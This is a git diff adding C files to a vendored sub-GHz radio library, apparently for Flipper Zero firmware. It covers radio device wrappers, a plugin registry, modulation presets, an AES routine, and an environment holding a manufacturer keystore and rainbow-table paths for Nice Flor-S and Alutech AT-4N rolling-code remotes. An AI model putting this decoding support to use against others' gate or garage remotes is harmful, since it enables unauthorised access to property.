+
+bool subghz_devices_is_async_complete_tx(const SubGhzDevice* device) {
+    bool ret = false;
+    furi_check(device);
+    if(device->interconnect->is_async_complete_tx) {
+        ret = device->interconnect->is_async_complete_tx();
+    }
+    return ret;
+}
+
+void subghz_devices_stop_async_tx(const SubGhzDevice* device) {
+    furi_check(device);
+    if(device->interconnect->stop_async_tx) {
+        device->interconnect->stop_async_tx();
+    }
+}
+
+void subghz_devices_set_rx(const SubGhzDevice* device) {
+    furi_check(device);
+    if(device->interconnect->set_rx) {
+        device->interconnect->set_rx();
+    }
+}
+
+void subghz_devices_flush_rx(const SubGhzDevice* device) {
+    furi_check(device);
+    if(device->interconnect->flush_rx) {
+        device->interconnect->flush_rx();
+    }
+}
+
+void subghz_devices_start_async_rx(const SubGhzDevice* device, void* callback, void* context) {
+    furi_check(device);
+    if(device->interconnect->start_async_rx) {
+        device->interconnect->start_async_rx(callback, context);
+    }
+}
+
+void subghz_devices_stop_async_rx(const SubGhzDevice* device) {
+    furi_check(device);
+    if(device->interconnect->stop_async_rx) {
+        device->interconnect->stop_async_rx();
+    }
+}
+
+float subghz_devices_get_rssi(const SubGhzDevice* device) {
+    float ret = 0;
+    furi_check(device);
+    if(device->interconnect->get_rssi) {
+        ret = device->interconnect->get_rssi();
+    }
+    return ret;
+}
+
+uint8_t subghz_devices_get_lqi(const SubGhzDevice* device) {
+    furi_check(device);
+    uint8_t ret = 0;
+    if(device->interconnect->get_lqi) {
+        ret = device->interconnect->get_lqi();
+    }
+    return ret;
+}
+
+bool subghz_devices_rx_pipe_not_empty(const SubGhzDevice* device) {
+    furi_check(device);
+    bool ret = false;
+    if(device->interconnect->rx_pipe_not_empty) {
+        ret = device->interconnect->rx_pipe_not_empty();
+    }
+    return ret;
+}
+
+bool subghz_devices_is_rx_data_crc_valid(const SubGhzDevice* device) {
+    bool ret = false;
+    furi_check(device);
+    if(device->interconnect->is_rx_data_crc_valid) {
+        ret = device->interconnect->is_rx_data_crc_valid();
+    }
+    return ret;
+}
+
+void subghz_devices_read_packet(const SubGhzDevice* device, uint8_t* data, uint8_t* size) {
+    furi_check(device);
+    if(device->interconnect->read_packet) {
+        device->interconnect->read_packet(data, size);
+    }
+}
+
+void subghz_devices_write_packet(const SubGhzDevice* device, const uint8_t* data, uint8_t size) {
+    furi_check(device);
+    if(device->interconnect->write_packet) {
+        device->interconnect->write_packet(data, size);
+    }
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/devices/devices.h b/lib/subghz_unleashed_vendor/src/subghz/devices/devices.h
new file mode 100644
index 000000000..9d6b7dbe5
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/devices/devices.h
@@ -0,0 +1,52 @@
+#pragma once
+
+#include "types.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct SubGhzDevice SubGhzDevice;
+
+void subghz_devices_init(void);
+void subghz_devices_deinit(void);
+
+const SubGhzDevice* subghz_devices_get_by_name(const char* device_name);
+const char* subghz_devices_get_name(const SubGhzDevice* device);
+bool subghz_devices_begin(const SubGhzDevice* device);
+void subghz_devices_end(const SubGhzDevice* device);
+bool subghz_devices_is_connect(const SubGhzDevice* device);
+void subghz_devices_reset(const SubGhzDevice* device);
+void subghz_devices_sleep(const SubGhzDevice* device);
+void subghz_devices_idle(const SubGhzDevice* device);
+void subghz_devices_load_preset(
+    const SubGhzDevice* device,
+    FuriHalSubGhzPreset preset,
+    uint8_t* preset_data);
+uint32_t subghz_devices_set_frequency(const SubGhzDevice* device, uint32_t frequency);
+bool subghz_devices_is_frequency_valid(const SubGhzDevice* device, uint32_t frequency);
+void subghz_devices_set_async_mirror_pin(const SubGhzDevice* device, const GpioPin* gpio);
+const GpioPin* subghz_devices_get_data_gpio(const SubGhzDevice* device);
+
+bool subghz_devices_set_tx(const SubGhzDevice* device);
+void subghz_devices_flush_tx(const SubGhzDevice* device);
+bool subghz_devices_start_async_tx(const SubGhzDevice* device, void* callback, void* context);
+bool subghz_devices_is_async_complete_tx(const SubGhzDevice* device);
+void subghz_devices_stop_async_tx(const SubGhzDevice* device);
+
+void subghz_devices_set_rx(const SubGhzDevice* device);
+void subghz_devices_flush_rx(const SubGhzDevice* device);
+void subghz_devices_start_async_rx(const SubGhzDevice* device, void* callback, void* context);
+void subghz_devices_stop_async_rx(const SubGhzDevice* device);
+
+float subghz_devices_get_rssi(const SubGhzDevice* device);
+uint8_t subghz_devices_get_lqi(const SubGhzDevice* device);
+
+bool subghz_devices_rx_pipe_not_empty(const SubGhzDevice* device);
+bool subghz_devices_is_rx_data_crc_valid(const SubGhzDevice* device);
+void subghz_devices_read_packet(const SubGhzDevice* device, uint8_t* data, uint8_t* size);
+void subghz_devices_write_packet(const SubGhzDevice* device, const uint8_t* data, uint8_t size);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/devices/preset.h b/lib/subghz_unleashed_vendor/src/subghz/devices/preset.h
new file mode 100644
index 000000000..e80b4b4bd
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/devices/preset.h
@@ -0,0 +1,14 @@
+#pragma once
+
+/** Radio Presets */
+typedef enum {
+    FuriHalSubGhzPresetIDLE, /**< default configuration */
+    FuriHalSubGhzPresetOok270Async, /**< OOK, bandwidth 270kHz, asynchronous */
+    FuriHalSubGhzPresetOok650Async, /**< OOK, bandwidth 650kHz, asynchronous */
+    FuriHalSubGhzPreset2FSKDev238Async, /**< FM, deviation 2.380371 kHz, asynchronous */
+    FuriHalSubGhzPreset2FSKDev12KAsync, /**< FM, deviation 12.695312 kHz, asynchronous */
+    FuriHalSubGhzPreset2FSKDev476Async, /**< FM, deviation 47.60742 kHz, asynchronous */
+    FuriHalSubGhzPresetMSK99_97KbAsync, /**< MSK, deviation 47.60742 kHz, 99.97Kb/s, asynchronous */
+    FuriHalSubGhzPresetGFSK9_99KbAsync, /**< GFSK, deviation 19.042969 kHz, 9.996Kb/s, asynchronous */
+    FuriHalSubGhzPresetCustom, /**Custom Preset*/
+} FuriHalSubGhzPreset;
diff --git a/lib/subghz_unleashed_vendor/src/subghz/devices/registry.c b/lib/subghz_unleashed_vendor/src/subghz/devices/registry.c
new file mode 100644
index 000000000..a3a535c40
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/devices/registry.c
@@ -0,0 +1,77 @@
+#include "registry.h"
+
+#include "cc1101_int/cc1101_int_interconnect.h"
+#include <flipper_application/plugins/plugin_manager.h>
+#include <loader/firmware_api/firmware_api.h>
+
+#define TAG "SubGhzDeviceRegistry"
+
+struct SubGhzDeviceRegistry {
+    const SubGhzDevice** items;
+    size_t size;
+    PluginManager* manager;
+};
+
+static SubGhzDeviceRegistry* subghz_device_registry = NULL;
+
+void subghz_device_registry_init(void) {
+    SubGhzDeviceRegistry* subghz_device =
+        (SubGhzDeviceRegistry*)malloc(sizeof(SubGhzDeviceRegistry));
+    subghz_device->manager = plugin_manager_alloc(
+        SUBGHZ_RADIO_DEVICE_PLUGIN_APP_ID,
+        SUBGHZ_RADIO_DEVICE_PLUGIN_API_VERSION,
+        firmware_api_interface);
+
+    //TODO FL-3556: fix path to plugins
+    //if(plugin_manager_load_all(subghz_device->manager, APP_DATA_PATH("plugins")) !=
+    //
+    if(plugin_manager_load_all(subghz_device->manager, EXT_PATH("apps_data/subghz/plugins")) !=
+       PluginManagerErrorNone) {
+        FURI_LOG_E(TAG, "Failed to load all libs");
+    }
+
+    subghz_device->size = plugin_manager_get_count(subghz_device->manager) + 1;
+    subghz_device->items =
+        (const SubGhzDevice**)malloc(sizeof(SubGhzDevice*) * subghz_device->size);
+    subghz_device->items[0] = &subghz_device_cc1101_int;
+    for(uint32_t i = 1; i < subghz_device->size; i++) {
+        const SubGhzDevice* plugin = plugin_manager_get_ep(subghz_device->manager, i - 1);
+        subghz_device->items[i] = plugin;
+    }
+
+    FURI_LOG_I(TAG, "Loaded %zu radio device", subghz_device->size);
+    subghz_device_registry = subghz_device;
+}
+
+void subghz_device_registry_deinit(void) {
+    plugin_manager_free(subghz_device_registry->manager);
+    free(subghz_device_registry->items);
+    free(subghz_device_registry);
+    subghz_device_registry = NULL;
+}
+
+bool subghz_device_registry_is_valid(void) {
+    return subghz_device_registry != NULL;
+}
+
+const SubGhzDevice* subghz_device_registry_get_by_name(const char* name) {
+    furi_assert(subghz_device_registry);
+
+    if(name != NULL) {
+        for(size_t i = 0; i < subghz_device_registry->size; i++) {
+            if(strcmp(name, subghz_device_registry->items[i]->name) == 0) {
+                return subghz_device_registry->items[i];
+            }
+        }
+    }
+    return NULL;
+}
+
+const SubGhzDevice* subghz_device_registry_get_by_index(size_t index) {
+    furi_assert(subghz_device_registry);
+    if(index < subghz_device_registry->size) {
+        return subghz_device_registry->items[index];
+    } else {
+        return NULL;
+    }
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/devices/registry.h b/lib/subghz_unleashed_vendor/src/subghz/devices/registry.h
new file mode 100644
index 000000000..520058920
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/devices/registry.h
@@ -0,0 +1,40 @@
+#pragma once
+
+#include "types.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct SubGhzDevice SubGhzDevice;
+
+void subghz_device_registry_init(void);
+
+void subghz_device_registry_deinit(void);
+
+bool subghz_device_registry_is_valid(void);
+
+/**
+ * Registration by name SubGhzDevice.
+ * @param name SubGhzDevice name
+ * @return SubGhzDevice* pointer to a SubGhzDevice instance
+ */
+const SubGhzDevice* subghz_device_registry_get_by_name(const char* name);
+
+/**
+ * Registration subghzdevice by index in array SubGhzDevice.
+ * @param index SubGhzDevice by index in array
+ * @return SubGhzDevice* pointer to a SubGhzDevice instance
+ */
+const SubGhzDevice* subghz_device_registry_get_by_index(size_t index);
+
+/**
+ * Getting the number of registered subghzdevices.
+ * @param subghz_device SubGhzDeviceRegistry
+ * @return Number of subghzdevices
+ */
+size_t subghz_device_registry_count(void);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/devices/types.h b/lib/subghz_unleashed_vendor/src/subghz/devices/types.h
new file mode 100644
index 000000000..14852a160
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/devices/types.h
@@ -0,0 +1,98 @@
+#pragma once
+
+#include <stdbool.h>
+#include <stdint.h>
+#include <stddef.h>
+
+#include <furi.h>
+#include <furi_hal.h>
+
+#include "preset.h"
+
+#include <flipper_application/flipper_application.h>
+
+#define SUBGHZ_RADIO_DEVICE_PLUGIN_APP_ID      "subghz_radio_device"
+#define SUBGHZ_RADIO_DEVICE_PLUGIN_API_VERSION 2
+
+typedef struct SubGhzDeviceRegistry SubGhzDeviceRegistry;
+typedef struct SubGhzDevice SubGhzDevice;
+typedef struct SubGhzDeviceConf SubGhzDeviceConf;
+
+typedef bool (*SubGhzBegin)(SubGhzDeviceConf* conf);
+typedef void (*SubGhzEnd)(void);
+typedef bool (*SubGhzIsConnect)(void);
+typedef void (*SubGhzReset)(void);
+typedef void (*SubGhzSleep)(void);
+typedef void (*SubGhzIdle)(void);
+typedef void (*SubGhzLoadPreset)(FuriHalSubGhzPreset preset, uint8_t* preset_data);
+typedef uint32_t (*SubGhzSetFrequency)(uint32_t frequency);
+typedef bool (*SubGhzIsFrequencyValid)(uint32_t frequency);
+
+typedef void (*SubGhzSetAsyncMirrorPin)(const GpioPin* gpio);
+typedef const GpioPin* (*SubGhzGetDataGpio)(void);
+
+typedef bool (*SubGhzSetTx)(void);
+typedef void (*SubGhzFlushTx)(void);
+typedef bool (*SubGhzStartAsyncTx)(void* callback, void* context);
+typedef bool (*SubGhzIsAsyncCompleteTx)(void);
+typedef void (*SubGhzStopAsyncTx)(void);
+
+typedef void (*SubGhzSetRx)(void);
+typedef void (*SubGhzFlushRx)(void);
+typedef void (*SubGhzStartAsyncRx)(void* callback, void* context);
+typedef void (*SubGhzStopAsyncRx)(void);
+
+typedef float (*SubGhzGetRSSI)(void);
+typedef uint8_t (*SubGhzGetLQI)(void);
+
+typedef bool (*SubGhzRxPipeNotEmpty)(void);
+typedef bool (*SubGhzRxIsDataCrcValid)(void);
+typedef void (*SubGhzReadPacket)(uint8_t* data, uint8_t* size);
+typedef void (*SubGhzWritePacket)(const uint8_t* data, uint8_t size);
+
+typedef struct {
+    SubGhzBegin begin;
+    SubGhzEnd end;
+
+    SubGhzIsConnect is_connect;
+    SubGhzReset reset;
+    SubGhzSleep sleep;
+    SubGhzIdle idle;
+
+    SubGhzLoadPreset load_preset;
+    SubGhzSetFrequency set_frequency;
+    SubGhzIsFrequencyValid is_frequency_valid;
+    SubGhzSetAsyncMirrorPin set_async_mirror_pin;
+    SubGhzGetDataGpio get_data_gpio;
+
+    SubGhzSetTx set_tx;
+    SubGhzFlushTx flush_tx;
+    SubGhzStartAsyncTx start_async_tx;
+    SubGhzIsAsyncCompleteTx is_async_complete_tx;
+    SubGhzStopAsyncTx stop_async_tx;
+
+    SubGhzSetRx set_rx;
+    SubGhzFlushRx flush_rx;
+    SubGhzStartAsyncRx start_async_rx;
+    SubGhzStopAsyncRx stop_async_rx;
+
+    SubGhzGetRSSI get_rssi;
+    SubGhzGetLQI get_lqi;
+
+    SubGhzRxPipeNotEmpty rx_pipe_not_empty;
+    SubGhzRxIsDataCrcValid is_rx_data_crc_valid;
+    SubGhzReadPacket read_packet;
+    SubGhzWritePacket write_packet;
+
+} SubGhzDeviceInterconnect;
+
+struct SubGhzDevice {
+    const char* name;
+    const SubGhzDeviceInterconnect* interconnect;
+};
+
+struct SubGhzDeviceConf {
+    uint8_t ver;
+    bool extended_range;
+    bool amp_and_leds;
+};
diff --git a/lib/subghz_unleashed_vendor/src/subghz/environment.c b/lib/subghz_unleashed_vendor/src/subghz/environment.c
new file mode 100644
index 000000000..e129b689b
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/environment.c
@@ -0,0 +1,127 @@
+#include "environment.h"
+#include "registry.h"
+
+struct SubGhzEnvironment {
+    SubGhzKeystore* keystore;
+    const SubGhzProtocolRegistry* protocol_registry;
+    const char* nice_flor_s_rainbow_table_file_name;
+    const char* alutech_at_4n_rainbow_table_file_name;
+    const char* mfname;
+    uint8_t kl_type;
+};
+
+SubGhzEnvironment* subghz_environment_alloc(void) {
+    SubGhzEnvironment* instance = malloc(sizeof(SubGhzEnvironment));
+
+    instance->keystore = subghz_keystore_alloc();
+    instance->protocol_registry = NULL;
+    instance->nice_flor_s_rainbow_table_file_name = NULL;
+    instance->alutech_at_4n_rainbow_table_file_name = NULL;
+    instance->mfname = "";
+    instance->kl_type = 0;
+
+    return instance;
+}
+
+void subghz_environment_free(SubGhzEnvironment* instance) {
+    furi_check(instance);
+
+    instance->protocol_registry = NULL;
+    instance->nice_flor_s_rainbow_table_file_name = NULL;
+    instance->alutech_at_4n_rainbow_table_file_name = NULL;
+    subghz_keystore_free(instance->keystore);
+
+    free(instance);
+}
+
+bool subghz_environment_load_keystore(SubGhzEnvironment* instance, const char* filename) {
+    furi_check(instance);
+
+    return subghz_keystore_load(instance->keystore, filename);
+}
+
+SubGhzKeystore* subghz_environment_get_keystore(SubGhzEnvironment* instance) {
+    furi_check(instance);
+
+    return instance->keystore;
+}
+
+void subghz_environment_set_came_atomo_rainbow_table_file_name(
+    SubGhzEnvironment* instance,
+    const char* filename) {
+    UNUSED(instance);
+    UNUSED(filename);
+    // Do nothing :)
+    return;
+}
+
+const char*
+    subghz_environment_get_came_atomo_rainbow_table_file_name(SubGhzEnvironment* instance) {
+    UNUSED(instance);
+    // No table, sorry
+    return "";
+}
+
+void subghz_environment_set_alutech_at_4n_rainbow_table_file_name(
+    SubGhzEnvironment* instance,
+    const char* filename) {
+    furi_check(instance);
+
+    instance->alutech_at_4n_rainbow_table_file_name = filename;
+}
+
+const char*
+    subghz_environment_get_alutech_at_4n_rainbow_table_file_name(SubGhzEnvironment* instance) {
+    furi_check(instance);
+
+    return instance->alutech_at_4n_rainbow_table_file_name;
+}
+
+void subghz_environment_set_nice_flor_s_rainbow_table_file_name(
+    SubGhzEnvironment* instance,
+    const char* filename) {
+    furi_check(instance);
+
+    instance->nice_flor_s_rainbow_table_file_name = filename;
+}
+
+const char*
+    subghz_environment_get_nice_flor_s_rainbow_table_file_name(SubGhzEnvironment* instance) {
+    furi_check(instance);
+
+    return instance->nice_flor_s_rainbow_table_file_name;
+}
+
+void subghz_environment_set_protocol_registry(
+    SubGhzEnvironment* instance,
+    const SubGhzProtocolRegistry* protocol_registry_items) {
+    furi_check(instance);
+    const SubGhzProtocolRegistry* protocol_registry = protocol_registry_items;
+    instance->protocol_registry = protocol_registry;
+}
+
+const SubGhzProtocolRegistry*
+    subghz_environment_get_protocol_registry(SubGhzEnvironment* instance) {
+    furi_check(instance);
+    furi_check(instance->protocol_registry);
+    return instance->protocol_registry;
+}
+
+const char*
+    subghz_environment_get_protocol_name_registry(SubGhzEnvironment* instance, size_t idx) {
+    furi_check(instance);
+    furi_check(instance->protocol_registry);
+    const SubGhzProtocol* protocol =
+        subghz_protocol_registry_get_by_index(instance->protocol_registry, idx);
+    if(protocol != NULL) {
+        return protocol->name;
+    } else {
+        return NULL;
+    }
+}
+
+void subghz_environment_reset_keeloq(SubGhzEnvironment* instance) {
+    furi_assert(instance);
+
+    subghz_keystore_reset_kl(instance->keystore);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/environment.h b/lib/subghz_unleashed_vendor/src/subghz/environment.h
new file mode 100644
index 000000000..195b11d76
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/environment.h
@@ -0,0 +1,124 @@
+#pragma once
+
+#include <furi.h>
+#include "registry.h"
+
+#include "subghz_keystore.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct SubGhzEnvironment SubGhzEnvironment;
+typedef struct SubGhzProtocolRegistry SubGhzProtocolRegistry;
+
+/**
+ * Allocate SubGhzEnvironment.
+ * @return SubGhzEnvironment* pointer to a SubGhzEnvironment instance
+ */
+SubGhzEnvironment* subghz_environment_alloc(void);
+
+/**
+ * Free SubGhzEnvironment.
+ * @param instance Pointer to a SubGhzEnvironment instance
+ */
+void subghz_environment_free(SubGhzEnvironment* instance);
+
+/**
+ * Downloading the manufacture key file.
+ * @param instance Pointer to a SubGhzEnvironment instance
+ * @param filename Full path to the file
+ * @return true On success
+ */
+bool subghz_environment_load_keystore(SubGhzEnvironment* instance, const char* filename);
+
+/**
+ * Get pointer to a SubGhzKeystore* instance.
+ * @return SubGhzEnvironment* pointer to a SubGhzEnvironment instance
+ */
+SubGhzKeystore* subghz_environment_get_keystore(SubGhzEnvironment* instance);
+
+/**
+ * Set filename to work with Came Atomo.
+ * @param instance Pointer to a SubGhzEnvironment instance
+ * @param filename Full path to the file
+ */
+void subghz_environment_set_came_atomo_rainbow_table_file_name(
+    SubGhzEnvironment* instance,
+    const char* filename);
+
+/**
+ * Get filename to work with Came Atomo.
+ * @param instance Pointer to a SubGhzEnvironment instance
+ * @return Full path to the file
+ */
+const char* subghz_environment_get_came_atomo_rainbow_table_file_name(SubGhzEnvironment* instance);
+
+/**
+ * Set filename to work with Alutech at-4n.
+ * @param instance Pointer to a SubGhzEnvironment instance
+ * @param filename Full path to the file
+ */
+void subghz_environment_set_alutech_at_4n_rainbow_table_file_name(
+    SubGhzEnvironment* instance,
+    const char* filename);
+
+/**
+ * Get filename to work with Alutech at-4n.
+ * @param instance Pointer to a SubGhzEnvironment instance
+ * @return Full path to the file
+ */
+const char*
+    subghz_environment_get_alutech_at_4n_rainbow_table_file_name(SubGhzEnvironment* instance);
+
+/**
+ * Set filename to work with Nice Flor-S.
+ * @param instance Pointer to a SubGhzEnvironment instance
+ * @param filename Full path to the file
+ */
+void subghz_environment_set_nice_flor_s_rainbow_table_file_name(
+    SubGhzEnvironment* instance,
+    const char* filename);
+
+/**
+ * Get filename to work with Nice Flor-S.
+ * @param instance Pointer to a SubGhzEnvironment instance
+ * @return Full path to the file
+ */
+const char*
+    subghz_environment_get_nice_flor_s_rainbow_table_file_name(SubGhzEnvironment* instance);
+
+/**
+ * Set list of protocols to work.
+ * @param instance Pointer to a SubGhzEnvironment instance
+ * @param protocol_registry_items Pointer to a SubGhzProtocolRegistry
+ */
+void subghz_environment_set_protocol_registry(
+    SubGhzEnvironment* instance,
+    const SubGhzProtocolRegistry* protocol_registry_items);
+
+/**
+ * Get list of protocols to work.
+ * @param instance Pointer to a SubGhzEnvironment instance
+ * @return Pointer to a SubGhzProtocolRegistry
+ */
+const SubGhzProtocolRegistry*
+    subghz_environment_get_protocol_registry(SubGhzEnvironment* instance);
+
+/**
+ * Get list of protocols names.
+ * @param instance Pointer to a SubGhzEnvironment instance
+ * @param idx index protocols
+ * @return Pointer to a SubGhzProtocolRegistry
+ */
+const char* subghz_environment_get_protocol_name_registry(SubGhzEnvironment* instance, size_t idx);
+
+/**
+ * Resetting the parameters used in the keeloq protocol.
+ * @param instance Pointer to a SubGhzEnvironment instance
+ */
+void subghz_environment_reset_keeloq(SubGhzEnvironment* instance);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/aes_common.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/aes_common.c
new file mode 100644
index 000000000..9e7d23a4f
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/aes_common.c
@@ -0,0 +1,252 @@
+#include "aes_common.h"
+
+static const uint8_t aes_sbox[256] = {
+    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab,
+    0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4,
+    0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71,
+    0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2,
+    0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6,
+    0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb,
+    0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45,
+    0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5,
+    0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44,
+    0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a,
+    0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49,
+    0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d,
+    0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25,
+    0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e,
+    0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1,
+    0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
+    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb,
+    0x16};
+
+static const uint8_t aes_sbox_inv[256] = {
+    0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7,
+    0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde,
+    0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42,
+    0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49,
+    0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c,
+    0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15,
+    0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7,
+    0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02,
+    0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc,
+    0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad,
+    0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d,
+    0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b,
+    0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8,
+    0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51,
+    0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0,
+    0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
+    0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c,
+    0x7d};
+
+static const uint8_t aes_rcon[10] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36};
+
+static uint8_t gf_mul2(uint8_t x) {
+    return ((x >> 7) * 0x1b) ^ (x << 1);
+}
+
+static void aes_subbytes(uint8_t* state) {
+    for(uint8_t row = 0; row < 4; row++) {
+        for(uint8_t col = 0; col < 4; col++) {
+            state[row + col * 4] = aes_sbox[state[row + col * 4]];
+        }
+    }
+}
+
+static void aes_subbytes_inv(uint8_t* state) {
+    for(uint8_t row = 0; row < 4; row++) {
+        for(uint8_t col = 0; col < 4; col++) {
+            state[row + col * 4] = aes_sbox_inv[state[row + col * 4]];
+        }
+    }
+}
+
+static void aes_shiftrows(uint8_t* state) {
+    uint8_t temp;
+
+    temp = state[1];
+    state[1] = state[5];
+    state[5] = state[9];
+    state[9] = state[13];
+    state[13] = temp;
+
+    temp = state[2];
+    state[2] = state[10];
+    state[10] = temp;
+    temp = state[6];
+    state[6] = state[14];
+    state[14] = temp;
+
+    temp = state[15];
+    state[15] = state[11];
+    state[11] = state[7];
+    state[7] = state[3];
+    state[3] = temp;
+}
+
+static void aes_shiftrows_inv(uint8_t* state) {
+    uint8_t temp;
+
+    temp = state[13];
+    state[13] = state[9];
+    state[9] = state[5];
+    state[5] = state[1];
+    state[1] = temp;
+
+    temp = state[2];
+    state[2] = state[10];
+    state[10] = temp;
+    temp = state[6];
+    state[6] = state[14];
+    state[14] = temp;
+
+    temp = state[3];
+    state[3] = state[7];
+    state[7] = state[11];
+    state[11] = state[15];
+    state[15] = temp;
+}
+
+static void aes_mixcolumns(uint8_t* state) {
+    uint8_t a, b, c, d;
+    for(uint8_t i = 0; i < 4; i++) {
+        a = state[i * 4];
+        b = state[i * 4 + 1];
+        c = state[i * 4 + 2];
+        d = state[i * 4 + 3];
+
+        uint8_t a2 = gf_mul2(a);
+        uint8_t b2 = gf_mul2(b);
+        uint8_t c2 = gf_mul2(c);
+        uint8_t d2 = gf_mul2(d);
+
+        state[i * 4] = a2 ^ b2 ^ b ^ c ^ d;
+        state[i * 4 + 1] = a ^ b2 ^ c2 ^ c ^ d;
+        state[i * 4 + 2] = a ^ b ^ c2 ^ d2 ^ d;
+        state[i * 4 + 3] = a2 ^ a ^ b ^ c ^ d2;
+    }
+}
+
